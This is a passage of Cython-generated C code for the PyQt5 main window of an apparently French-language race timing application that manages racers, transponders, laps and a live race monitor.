__pyx_k_PyQt5_QtCore, sizeof(__pyx_k_PyQt5_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtGui, __pyx_k_PyQt5_QtGui, sizeof(__pyx_k_PyQt5_QtGui), 0, 0, 1, 1}, {&__pyx_n_s_QBrush, __pyx_k_QBrush, sizeof(__pyx_k_QBrush), 0, 0, 1, 1}, {&__pyx_n_s_QCoreApplication, __pyx_k_QCoreApplication, sizeof(__pyx_k_QCoreApplication), 0, 0, 1, 1}, {&__pyx_n_s_QListWidgetItem, __pyx_k_QListWidgetItem, sizeof(__pyx_k_QListWidgetItem), 0, 0, 1, 1}, {&__pyx_n_s_QMainWindow, __pyx_k_QMainWindow, sizeof(__pyx_k_QMainWindow), 0, 0, 1, 1}, {&__pyx_n_s_QTableWidgetItem, __pyx_k_QTableWidgetItem, sizeof(__pyx_k_QTableWidgetItem), 0, 0, 1, 1}, {&__pyx_n_s_QTimer, __pyx_k_QTimer, sizeof(__pyx_k_QTimer), 0, 0, 1, 1}, {&__pyx_n_s_Qt, __pyx_k_Qt, sizeof(__pyx_k_Qt), 0, 0, 1, 1}, {&__pyx_n_s_QtCore, __pyx_k_QtCore, sizeof(__pyx_k_QtCore), 0, 0, 1, 1}, {&__pyx_n_s_QtWidgets, __pyx_k_QtWidgets, sizeof(__pyx_k_QtWidgets), 0, 0, 1, 1}, {&__pyx_n_s_RB_Add, __pyx_k_RB_Add, sizeof(__pyx_k_RB_Add), 0, 0, 1, 1}, {&__pyx_n_s_R_City, __pyx_k_R_City, sizeof(__pyx_k_R_City), 0, 0, 1, 1}, {&__pyx_n_s_R_Npa, __pyx_k_R_Npa, sizeof(__pyx_k_R_Npa), 0, 0, 1, 1}, {&__pyx_n_s_R_Pays, __pyx_k_R_Pays, sizeof(__pyx_k_R_Pays), 0, 0, 1, 1}, {&__pyx_n_s_R_RaceLive, __pyx_k_R_RaceLive, sizeof(__pyx_k_R_RaceLive), 0, 0, 1, 1}, {&__pyx_n_s_R_brandMenu, __pyx_k_R_brandMenu, sizeof(__pyx_k_R_brandMenu), 0, 0, 1, 1}, {&__pyx_n_s_R_firstname, __pyx_k_R_firstname, sizeof(__pyx_k_R_firstname), 0, 0, 1, 1}, {&__pyx_n_s_R_lastname, __pyx_k_R_lastname, sizeof(__pyx_k_R_lastname), 0, 0, 1, 1}, {&__pyx_n_s_R_number, __pyx_k_R_number, sizeof(__pyx_k_R_number), 0, 0, 1, 1}, {&__pyx_n_s_R_transponder, __pyx_k_R_transponder, sizeof(__pyx_k_R_transponder), 0, 0, 1, 1}, {&__pyx_kp_u_Race_allready_running, __pyx_k_Race_allready_running, sizeof(__pyx_k_Race_allready_running), 0, 1, 0, 0}, {&__pyx_n_u_Red, __pyx_k_Red, sizeof(__pyx_k_Red), 0, 1, 0, 1}, {&__pyx_n_s_Set_RacerTp, __pyx_k_Set_RacerTp, sizeof(__pyx_k_Set_RacerTp), 0, 0, 1, 1}, {&__pyx_n_s_SolidPattern, __pyx_k_SolidPattern, sizeof(__pyx_k_SolidPattern), 0, 0, 1, 1}, {&__pyx_kp_u_Starting_Race, __pyx_k_Starting_Race, sizeof(__pyx_k_Starting_Race), 0, 1, 0, 0}, {&__pyx_n_s_TM_T_passage, __pyx_k_TM_T_passage, sizeof(__pyx_k_TM_T_passage), 0, 0, 1, 1}, {&__pyx_kp_u_TP__8_8X, __pyx_k_TP__8_8X, sizeof(__pyx_k_TP__8_8X), 0, 1, 0, 0}, {&__pyx_n_s_T_Concurrents, __pyx_k_T_Concurrents, sizeof(__pyx_k_T_Concurrents), 0, 0, 1, 1}, {&__pyx_n_s_T_Marques, __pyx_k_T_Marques, sizeof(__pyx_k_T_Marques), 0, 0, 1, 1}, {&__pyx_n_s_T_Pays, __pyx_k_T_Pays, sizeof(__pyx_k_T_Pays), 0, 0, 1, 1}, {&__pyx_n_s_T_Racer, __pyx_k_T_Racer, sizeof(__pyx_k_T_Racer), 0, 0, 1, 1}, {&__pyx_n_s_T_Ville, __pyx_k_T_Ville, sizeof(__pyx_k_T_Ville), 0, 0, 1, 1}, {&__pyx_n_s_Tab_Container, __pyx_k_Tab_Container, sizeof(__pyx_k_Tab_Container), 0, 0, 1, 1}, {&__pyx_n_u_Top, __pyx_k_Top, sizeof(__pyx_k_Top), 0, 1, 0, 1}, {&__pyx_n_s_Ui_MainWindow, __pyx_k_Ui_MainWindow, sizeof(__pyx_k_Ui_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_UserRole, __pyx_k_UserRole, sizeof(__pyx_k_UserRole), 0, 0, 1, 1}, {&__pyx_n_u_White, __pyx_k_White, sizeof(__pyx_k_White), 0, 1, 0, 1}, {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, {&__pyx_n_s_actionQuitter, __pyx_k_actionQuitter, sizeof(__pyx_k_actionQuitter), 0, 0, 1, 1}, {&__pyx_n_s_addItem, __pyx_k_addItem, sizeof(__pyx_k_addItem), 0, 0, 1, 1}, {&__pyx_n_s_addRacer, __pyx_k_addRacer, sizeof(__pyx_k_addRacer), 0, 0, 1, 1}, {&__pyx_n_u_bestlap, __pyx_k_bestlap, sizeof(__pyx_k_bestlap), 0, 1, 0, 1}, {&__pyx_n_s_brush, __pyx_k_brush, sizeof(__pyx_k_brush), 0, 0, 1, 1}, {&__pyx_n_s_c, __pyx_k_c, sizeof(__pyx_k_c), 0, 0, 1, 1}, {&__pyx_n_s_categorie, __pyx_k_categorie, sizeof(__pyx_k_categorie), 0, 0, 1, 1}, {&__pyx_n_s_clear, __pyx_k_clear, sizeof(__pyx_k_clear), 0, 0, 1, 1}, {&__pyx_n_s_clicked, __pyx_k_clicked, sizeof(__pyx_k_clicked), 0, 0, 1, 1}, {&__pyx_n_s_color, __pyx_k_color, sizeof(__pyx_k_color), 0, 0, 1, 1}, {&__pyx_n_s_colors, __pyx_k_colors, sizeof(__pyx_k_colors), 0, 0, 1, 1}, {&__pyx_n_s_column, __pyx_k_column, sizeof(__pyx_k_column), 0, 0, 1, 1}, {&__pyx_n_s_concurrents, __pyx_k_concurrents, sizeof(__pyx_k_concurrents), 0, 0, 1, 1}, {&__pyx_n_s_connect, __pyx_k_connect, sizeof(__pyx_k_connect), 0, 0, 1, 1}, {&__pyx_n_s_connectActions, __pyx_k_connectActions, sizeof(__pyx_k_connectActions), 0, 0, 1, 1}, {&__pyx_n_s_count, __pyx_k_count, sizeof(__pyx_k_count), 0, 0, 1, 1}, {&__pyx_n_s_createTime, __pyx_k_createTime, sizeof(__pyx_k_createTime), 0, 0, 1, 1}, {&__pyx_n_s_currentIndex, __pyx_k_currentIndex, sizeof(__pyx_k_currentIndex), 0, 0, 1, 1}, {&__pyx_n_s_currentIndexChanged, __pyx_k_currentIndexChanged, sizeof(__pyx_k_currentIndexChanged), 0, 0, 1, 1}, {&__pyx_n_s_currentRow, __pyx_k_currentRow, sizeof(__pyx_k_currentRow), 0, 0, 1, 1}, {&__pyx_kp_u_d, __pyx_k_d, sizeof(__pyx_k_d), 0, 1, 0, 0}, {&__pyx_n_s_d_2, __pyx_k_d_2, sizeof(__pyx_k_d_2), 0, 0, 1, 1}, {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, {&__pyx_n_s_data_2, __pyx_k_data_2, sizeof(__pyx_k_data_2), 0, 0, 1, 1}, {&__pyx_n_s_dictBestLapMonitor, __pyx_k_dictBestLapMonitor, sizeof(__pyx_k_dictBestLapMonitor), 0, 0, 1, 1}, {&__pyx_kp_u_display_TRUE, __pyx_k_display_TRUE, sizeof(__pyx_k_display_TRUE), 0, 1, 0, 0}, {&__pyx_n_s_dlg, __pyx_k_dlg, sizeof(__pyx_k_dlg), 0, 0, 1, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, {&__pyx_n_s_editRacer, __pyx_k_editRacer, sizeof(__pyx_k_editRacer), 0, 0, 1, 1}, {&__pyx_n_s_empty, __pyx_k_empty, sizeof(__pyx_k_empty), 0, 0, 1, 1}, {&__pyx_n_s_exec, __pyx_k_exec, sizeof(__pyx_k_exec), 0, 0, 1, 1}, {&__pyx_n_s_findData, __pyx_k_findData, sizeof(__pyx_k_findData), 0, 0, 1, 1}, {&__pyx_n_s_findItems, __pyx_k_findItems, sizeof(__pyx_k_findItems), 0, 0, 1, 1}, {&__pyx_n_s_findNpa, __pyx_k_findNpa, sizeof(__pyx_k_findNpa), 0, 0, 1, 1}, {&__pyx_n_s_findNumRacer, __pyx_k_findNumRacer, sizeof(__pyx_k_findNumRacer), 0, 0, 1, 1}, {&__pyx_n_s_findNumber, __pyx_k_findNumber, sizeof(__pyx_k_findNumber), 0, 0, 1, 1}, {&__pyx_n_s_findVille, __pyx_k_findVille, sizeof(__pyx_k_findVille), 0, 0, 1, 1}, {&__pyx_n_s_fn, __pyx_k_fn, sizeof(__pyx_k_fn), 0, 0, 1, 1}, {&__pyx_n_s_getActualRace, __pyx_k_getActualRace, sizeof(__pyx_k_getActualRace), 0, 0, 1, 1}, {&__pyx_n_s_getDict, __pyx_k_getDict, sizeof(__pyx_k_getDict), 0, 0, 1, 1}, {&__pyx_n_s_getNextRecord, __pyx_k_getNextRecord, sizeof(__pyx_k_getNextRecord), 0, 0, 1, 1}, {&__pyx_n_s_getRacer, __pyx_k_getRacer, sizeof(__pyx_k_getRacer), 0, 0, 1, 1}, {&__pyx_n_s_getRecord, __pyx_k_getRecord, sizeof(__pyx_k_getRecord), 0, 0, 1, 1}, {&__pyx_n_s_get_nowait, __pyx_k_get_nowait, sizeof(__pyx_k_get_nowait), 0, 0, 1, 1}, {&__pyx_n_s_gui_Set_RacerTp, __pyx_k_gui_Set_RacerTp, sizeof(__pyx_k_gui_Set_RacerTp), 0, 0, 1, 1}, {&__pyx_n_s_gui_Ui_MainWindow, __pyx_k_gui_Ui_MainWindow, sizeof(__pyx_k_gui_Ui_MainWindow), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, {&__pyx_n_u_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 1, 0, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_kp_u_in_updateNonitor, __pyx_k_in_updateNonitor, sizeof(__pyx_k_in_updateNonitor), 0, 1, 0, 0}, {&__pyx_kp_u_in_updateNonitor_setLine_self_co, __pyx_k_in_updateNonitor_setLine_self_co, sizeof(__pyx_k_in_updateNonitor_setLine_self_co), 0, 1, 0, 0}, {&__pyx_n_s_indexOf, __pyx_k_indexOf, sizeof(__pyx_k_indexOf), 0, 0, 1, 1}, {&__pyx_n_s_init, __pyx_k_init, sizeof(__pyx_k_init), 0, 0, 1, 1}, {&__pyx_n_s_initGui, __pyx_k_initGui, sizeof(__pyx_k_initGui), 0, 0, 1, 1}, {&__pyx_n_s_initGuiConcurrents, __pyx_k_initGuiConcurrents, sizeof(__pyx_k_initGuiConcurrents), 0, 0, 1, 1}, {&__pyx_n_s_initGuiMarques, __pyx_k_initGuiMarques, sizeof(__pyx_k_initGuiMarques), 0, 0, 1, 1}, {&__pyx_n_s_initGuiPays, __pyx_k_initGuiPays, sizeof(__pyx_k_initGuiPays), 0, 0, 1, 1}, {&__pyx_n_s_initListConcurrents, __pyx_k_initListConcurrents, sizeof(__pyx_k_initListConcurrents), 0, 0, 1, 1}, {&__pyx_n_s_insertRow, __pyx_k_insertRow, sizeof(__pyx_k_insertRow), 0, 0, 1, 1}, {&__pyx_n_s_item, __pyx_k_item, sizeof(__pyx_k_item), 0, 0, 1, 1}, {&__pyx_n_s_itemData, __pyx_k_itemData, sizeof(__pyx_k_itemData), 0, 0, 1, 1}, {&__pyx_n_s_itemDoubleClicked, __pyx_k_itemDoubleClicked, sizeof(__pyx_k_itemDoubleClicked), 0, 0, 1, 1}, {&__pyx_n_s_lap, __pyx_k_lap, sizeof(__pyx_k_lap), 0, 0, 1, 1}, {&__pyx_n_u_lapcount, __pyx_k_lapcount, sizeof(__pyx_k_lapcount), 0, 1, 0, 1}, {&__pyx_n_u_lastlap, __pyx_k_lastlap, sizeof(__pyx_k_lastlap), 0, 1, 0, 1}, {&__pyx_n_u_lasttick, __pyx_k_lasttick, sizeof(__pyx_k_lasttick), 0, 1, 0, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_main_2, __pyx_k_main_2, sizeof(__pyx_k_main_2), 0, 0, 1, 1}, {&__pyx_n_s_manageRace, __pyx_k_manageRace, sizeof(__pyx_k_manageRace), 0, 0, 1, 1}, {&__pyx_n_s_marques, __pyx_k_marques, sizeof(__pyx_k_marques), 0, 0, 1, 1}, {&__pyx_n_s_max_time, __pyx_k_max_time, sizeof(__pyx_k_max_time), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_millis, __pyx_k_millis, sizeof(__pyx_k_millis), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_u_monitor, __pyx_k_monitor, sizeof(__pyx_k_monitor), 0, 1, 0, 1}, {&__pyx_n_u_moto, __pyx_k_moto, sizeof(__pyx_k_moto), 0, 1, 0, 1}, {&__pyx_n_s_newRecord, __pyx_k_newRecord, sizeof(__pyx_k_newRecord), 0, 0, 1, 1}, {&__pyx_n_u_nom, __pyx_k_nom, sizeof(__pyx_k_nom), 0, 1, 0, 1}, {&__pyx_kp_u_nom_LIKE_s_AND_pays_LIKE_s, __pyx_k_nom_LIKE_s_AND_pays_LIKE_s, sizeof(__pyx_k_nom_LIKE_s_AND_pays_LIKE_s), 0, 1, 0, 0}, {&__pyx_kp_u_nom_LIKE_s_c_AND_pays_LIKE_s, __pyx_k_nom_LIKE_s_c_AND_pays_LIKE_s, sizeof(__pyx_k_nom_LIKE_s_c_AND_pays_LIKE_s), 0, 1, 0, 0}, {&__pyx_n_u_npa, __pyx_k_npa, sizeof(__pyx_k_npa), 0, 1, 0, 1}, {&__pyx_kp_u_npa_LIKE_s_AND_pays_LIKE_s, __pyx_k_npa_LIKE_s_AND_pays_LIKE_s, sizeof(__pyx_k_npa_LIKE_s_AND_pays_LIKE_s), 0, 1, 0, 0}, {&__pyx_n_u_numero, __pyx_k_numero, sizeof(__pyx_k_numero), 0, 1, 0, 1}, {&__pyx_n_s_oldracer, __pyx_k_oldracer, sizeof(__pyx_k_oldracer), 0, 0, 1, 1}, {&__pyx_n_s_oldracerItem, __pyx_k_oldracerItem, sizeof(__pyx_k_oldracerItem), 0, 0, 1, 1}, {&__pyx_n_s_pa, __pyx_k_pa, sizeof(__pyx_k_pa), 0, 0, 1, 1}, {&__pyx_n_s_parent, __pyx_k_parent, sizeof(__pyx_k_parent), 0, 0, 1, 1}, {&__pyx_n_s_pays, __pyx_k_pays, sizeof(__pyx_k_pays), 0, 0, 1, 1}, {&__pyx_n_u_pays, __pyx_k_pays, sizeof(__pyx_k_pays), 0, 1, 0, 1}, {&__pyx_n_s_pop, __pyx_k_pop, sizeof(__pyx_k_pop), 0, 0, 1, 1}, {&__pyx_n_s_pos, __pyx_k_pos, sizeof(__pyx_k_pos), 0, 0, 1, 1}, {&__pyx_n_u_prenom, __pyx_k_prenom, sizeof(__pyx_k_prenom), 0, 1, 0, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_q, __pyx_k_q, sizeof(__pyx_k_q), 0, 0, 1, 1}, {&__pyx_n_s_qApp, __pyx_k_qApp, sizeof(__pyx_k_qApp), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_u_queue, __pyx_k_queue, sizeof(__pyx_k_queue), 0, 1, 0, 1}, {&__pyx_n_s_quit, __pyx_k_quit, sizeof(__pyx_k_quit), 0, 0, 1, 1}, {&__pyx_n_s_r, __pyx_k_r, sizeof(__pyx_k_r), 0, 0, 1, 1}, {&__pyx_n_s_r_item, __pyx_k_r_item, sizeof(__pyx_k_r_item), 0, 0, 1, 1}, {&__pyx_n_s_raceDuration, __pyx_k_raceDuration, sizeof(__pyx_k_raceDuration), 0, 0, 1, 1}, {&__pyx_n_s_raceLaps, __pyx_k_raceLaps, sizeof(__pyx_k_raceLaps), 0, 0, 1, 1}, {&__pyx_n_s_racer, __pyx_k_racer, sizeof(__pyx_k_racer), 0, 0, 1, 1}, {&__pyx_n_s_racerList, __pyx_k_racerList, sizeof(__pyx_k_racerList), 0, 0, 1, 1}, {&__pyx_n_s_rc, __pyx_k_rc, sizeof(__pyx_k_rc), 0, 0, 1, 1}, {&__pyx_n_s_receiver, __pyx_k_receiver, sizeof(__pyx_k_receiver), 0, 0, 1, 1}, {&__pyx_n_s_removeRow, __pyx_k_removeRow, sizeof(__pyx_k_removeRow), 0, 0, 1, 1}, {&__pyx_n_s_requestDefine, __pyx_k_requestDefine, sizeof(__pyx_k_requestDefine), 0, 0, 1, 1}, {&__pyx_n_s_returnPressed, __pyx_k_returnPressed, sizeof(__pyx_k_returnPressed), 0, 0, 1, 1}, {&__pyx_n_s_rf, __pyx_k_rf, sizeof(__pyx_k_rf), 0, 0, 1, 1}, {&__pyx_n_u_ridername, __pyx_k_ridername, sizeof(__pyx_k_ridername), 0, 1, 0, 1}, {&__pyx_n_u_ridernum, __pyx_k_ridernum, sizeof(__pyx_k_ridernum), 0, 1, 0, 1}, {&__pyx_n_s_rl, __pyx_k_rl, sizeof(__pyx_k_rl), 0, 0, 1, 1}, {&__pyx_n_s_rm, __pyx_k_rm, sizeof(__pyx_k_rm), 0, 0, 1, 1}, {&__pyx_n_s_rn, __pyx_k_rn, sizeof(__pyx_k_rn), 0, 0, 1, 1}, {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, {&__pyx_n_s_rowCount, __pyx_k_rowCount, sizeof(__pyx_k_rowCount), 0, 0, 1, 1}, {&__pyx_n_s_rp, __pyx_k_rp, sizeof(__pyx_k_rp), 0, 0, 1, 1}, {&__pyx_n_s_rt, __pyx_k_rt, sizeof(__pyx_k_rt), 0, 0, 1, 1}, {&__pyx_kp_u_s_d, __pyx_k_s_d, sizeof(__pyx_k_s_d), 0, 1, 0, 0}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_setBackground, __pyx_k_setBackground, sizeof(__pyx_k_setBackground), 0, 0, 1, 1}, {&__pyx_n_s_setColumnHidden, __pyx_k_setColumnHidden, sizeof(__pyx_k_setColumnHidden), 0, 0, 1, 1}, {&__pyx_n_s_setCurrentIndex, __pyx_k_setCurrentIndex, sizeof(__pyx_k_setCurrentIndex), 0, 0, 1, 1}, {&__pyx_n_s_setCurrentItem, __pyx_k_setCurrentItem, sizeof(__pyx_k_setCurrentItem), 0, 0, 1, 1}, {&__pyx_n_s_setData, __pyx_k_setData, sizeof(__pyx_k_setData), 0, 0, 1, 1}, {&__pyx_n_s_setFont, __pyx_k_setFont, sizeof(__pyx_k_setFont), 0, 0, 1, 1}, {&__pyx_n_s_setItem, __pyx_k_setItem, sizeof(__pyx_k_setItem), 0, 0, 1, 1}, {&__pyx_n_s_setLine, __pyx_k_setLine, sizeof(__pyx_k_setLine), 0, 0, 1, 1}, {&__pyx_n_s_setRacer, __pyx_k_setRacer, sizeof(__pyx_k_setRacer), 0, 0, 1, 1}, {&__pyx_n_s_setRacerTb, __pyx_k_setRacerTb, sizeof(__pyx_k_setRacerTb), 0, 0, 1, 1}, {&__pyx_n_s_setRowHeight, __pyx_k_setRowHeight, sizeof(__pyx_k_setRowHeight), 0, 0, 1, 1}, {&__pyx_n_s_setSortingEnabled, __pyx_k_setSortingEnabled, sizeof(__pyx_k_setSortingEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setStyle, __pyx_k_setStyle, sizeof(__pyx_k_setStyle), 0, 0, 1, 1}, {&__pyx_n_s_setTabText, __pyx_k_setTabText, sizeof(__pyx_k_setTabText), 0, 0, 1, 1}, {&__pyx_n_s_setText, __pyx_k_setText, sizeof(__pyx_k_setText), 0, 0, 1, 1}, {&__pyx_n_s_setupUi, __pyx_k_setupUi, sizeof(__pyx_k_setupUi), 0, 0, 1, 1}, {&__pyx_n_s_show, __pyx_k_show, sizeof(__pyx_k_show), 0, 0, 1, 1}, {&__pyx_n_s_start, __pyx_k_start, sizeof(__pyx_k_start), 0, 0, 1, 1}, {&__pyx_n_s_startRace, __pyx_k_startRace, sizeof(__pyx_k_startRace), 0, 0, 1, 1}, {&__pyx_n_s_stop, __pyx_k_stop, sizeof(__pyx_k_stop), 0, 0, 1, 1}, {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, {&__pyx_n_s_t_ville, __pyx_k_t_ville, sizeof(__pyx_k_t_ville), 0, 0, 1, 1}, {&__pyx_n_s_tables_T_Concurrents, __pyx_k_tables_T_Concurrents, sizeof(__pyx_k_tables_T_Concurrents), 0, 0, 1, 1}, {&__pyx_n_s_tables_T_Marques, __pyx_k_tables_T_Marques, sizeof(__pyx_k_tables_T_Marques), 0, 0, 1, 1}, {&__pyx_n_s_tables_T_Pays, __pyx_k_tables_T_Pays, sizeof(__pyx_k_tables_T_Pays), 0, 0, 1, 1}, {&__pyx_n_s_tables_T_Ville, __pyx_k_tables_T_Ville, sizeof(__pyx_k_tables_T_Ville), 0, 0, 1, 1}, {&__pyx_n_s_task, __pyx_k_task, sizeof(__pyx_k_task), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, {&__pyx_n_s_text_blue, __pyx_k_text_blue, sizeof(__pyx_k_text_blue), 0, 0, 1, 1}, {&__pyx_n_s_text_green, __pyx_k_text_green, sizeof(__pyx_k_text_green), 0, 0, 1, 1}, {&__pyx_n_s_text_inverted, __pyx_k_text_inverted, sizeof(__pyx_k_text_inverted), 0, 0, 1, 1}, {&__pyx_n_s_text_red, __pyx_k_text_red, sizeof(__pyx_k_text_red), 0, 0, 1, 1}, {&__pyx_n_u_textcolor, __pyx_k_textcolor, sizeof(__pyx_k_textcolor), 0, 1, 0, 1}, {&__pyx_n_s_theRacer, __pyx_k_theRacer, sizeof(__pyx_k_theRacer), 0, 0, 1, 1}, {&__pyx_n_s_timeout, __pyx_k_timeout, sizeof(__pyx_k_timeout), 0, 0, 1, 1}, {&__pyx_n_s_timer, __pyx_k_timer, sizeof(__pyx_k_timer), 0, 0, 1, 1}, {&__pyx_n_s_title, __pyx_k_title, sizeof(__pyx_k_title), 0, 0, 1, 1}, {&__pyx_n_u_totticks, __pyx_k_totticks, sizeof(__pyx_k_totticks), 0, 1, 0, 1}, {&__pyx_n_s_tp, __pyx_k_tp, sizeof(__pyx_k_tp), 0, 0, 1, 1}, {&__pyx_n_s_tpRacerList, __pyx_k_tpRacerList, sizeof(__pyx_k_tpRacerList), 0, 0, 1, 1}, {&__pyx_n_s_translate, __pyx_k_translate, sizeof(__pyx_k_translate), 0, 0, 1, 1}, {&__pyx_n_u_transponder, __pyx_k_transponder, sizeof(__pyx_k_transponder), 0, 1, 0, 1}, {&__pyx_n_s_triggered, __pyx_k_triggered, sizeof(__pyx_k_triggered), 0, 0, 1, 1}, {&__pyx_n_s_tt, __pyx_k_tt, sizeof(__pyx_k_tt), 0, 0, 1, 1}, {&__pyx_n_s_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 0, 1, 1}, {&__pyx_n_s_updateMonitor, __pyx_k_updateMonitor, sizeof(__pyx_k_updateMonitor), 0, 0, 1, 1}, {&__pyx_n_u_ville, __pyx_k_ville, sizeof(__pyx_k_ville), 0, 1, 0, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_super = __Pyx_GetBuiltinName(__pyx_n_s_super); if (!__pyx_builtin_super) __PYX_ERR(0, 46, __pyx_L1_error) __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 64, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "MainWindow.py":64 * def startRace(self): * if self.__ActualRace == None: * print("Starting Race") # <<<<<<<<<<<<<< * self.__ActualRace = manageRace( Globals.raceDuration, Globals.raceLaps ) * self.__ActualRace.start() */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_kp_u_Starting_Race); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "MainWindow.py":68 * self.__ActualRace.start() * else: * print("Race allready running") # <<<<<<<<<<<<<< * * def setRacerTb(self, item): */ __pyx_tuple__2 = PyTuple_Pack(1, __pyx_kp_u_Race_allready_running); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "MainWindow.py":84 * def addRacer(self): * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) # <<<<<<<<<<<<<< * self.concurrents.newRecord() * c = dict( self.concurrents._data ) */ __pyx_tuple__3 = PyTuple_Pack(1, __pyx_n_u_Nouveau); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "MainWindow.py":92 * self.L_racerlist.addItem(item) * self.editRacer( item ) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c */ __pyx_tuple__4 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Concurrents); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "MainWindow.py":175 * * if racer is None : * self.R_lastname.setText( "" ) # <<<<<<<<<<<<<< * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) */ __pyx_tuple__7 = PyTuple_Pack(1, __pyx_kp_u__6); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "MainWindow.py":176 * if racer is None : * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) # <<<<<<<<<<<<<< * self.R_number.setText( "" ) * self.R_transponder.setText( "") */ __pyx_tuple__8 = PyTuple_Pack(1, __pyx_kp_u__6); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "MainWindow.py":177 * self.R_lastname.setText( "" ) * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) # <<<<<<<<<<<<<< * self.R_transponder.setText( "") * else: */ __pyx_tuple__9 = PyTuple_Pack(1, __pyx_kp_u__6); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "MainWindow.py":178 * self.R_firstname.setText( "" ) * self.R_number.setText( "" ) * self.R_transponder.setText( "") # <<<<<<<<<<<<<< * else: * self.R_lastname.setText( racer['nom'] ) */ __pyx_tuple__10 = PyTuple_Pack(1, __pyx_kp_u__6); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); /* "MainWindow.py":214 * * def initListConcurrents(self): * self.L_racerlist.setSortingEnabled(True) # <<<<<<<<<<<<<< * self.concurrents = T_Concurrents() * while self.concurrents.getNextRecord(): */ __pyx_tuple__11 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "MainWindow.py":229 * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) # <<<<<<<<<<<<<< * 